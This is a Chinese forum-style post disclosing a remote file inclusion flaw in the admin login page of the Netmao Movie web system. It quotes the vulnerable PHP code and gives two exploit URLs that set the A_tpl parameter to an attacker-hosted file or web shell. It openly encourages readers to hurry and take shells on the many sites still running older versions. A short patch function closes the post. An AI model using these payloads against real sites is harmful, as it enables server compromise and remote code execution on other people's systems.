|
IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。
那今天我就很快找到了一个,不敢独享!呵呵。
程序:Netmao Movie网猫电影系统。
说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。 不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。
漏洞文件:admin目录下的login.php文件。
代码:
if($action=='login'){
@session_start(); if($_SESSION['randomstr']!=$checkcode){ cpmsg('对不起,验证码错误','?file=login'); exit(); }
$referer=$referer?$referer:'?file=';
$username=addslashes($username); $password=addslashes($password); $password=MD5($password);
$result=$db->query("Select * FROM $table_member Where user='$username' AND pwd='$password'"); if($db->num_rows($result)==1){ $r=$db->fetch_array($result); $_SESSION[username]=$r[$user]; if($r[priv]=='1'){$_SESSION[admin]='1';} cpmsg("登录成功!",$referer); }else{ session_destroy(); cpmsg("对不起,帐号和密码不匹配!",$referer); }
}elseif($action=='logout'){
session_destroy(); cpmsg("你已经成功退出!",'?file=login');
} else {
include $A_tpl.'/login.tpl.php'; }
我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。 直接输入admin/login.php可以暴出路径。
EXP: ⑴ admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt? ⑵ 在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯) 访问admin/login.php?A_tpl=http://www.xxxx.com 即可。
好了,结束。。初来~请各位牛人多多指教。 --------------------------------------------------------------------------------------------------- 修补漏洞的方案:
function StopRemoteInclude($InclueName){ if(strpos($InclueName,'\\')!==false){ return substr($InclueName,0,strrpos($InclueName,'\\')); }elseif(strpos($InclueName,'/')!==false){ return substr($InclueName,0,strrpos($InclueName,'/')); }else{ return '/'; } }
define('S_Dir',__FILE__?StopRemoteInclude(__FILE__).'/' : './');
|
|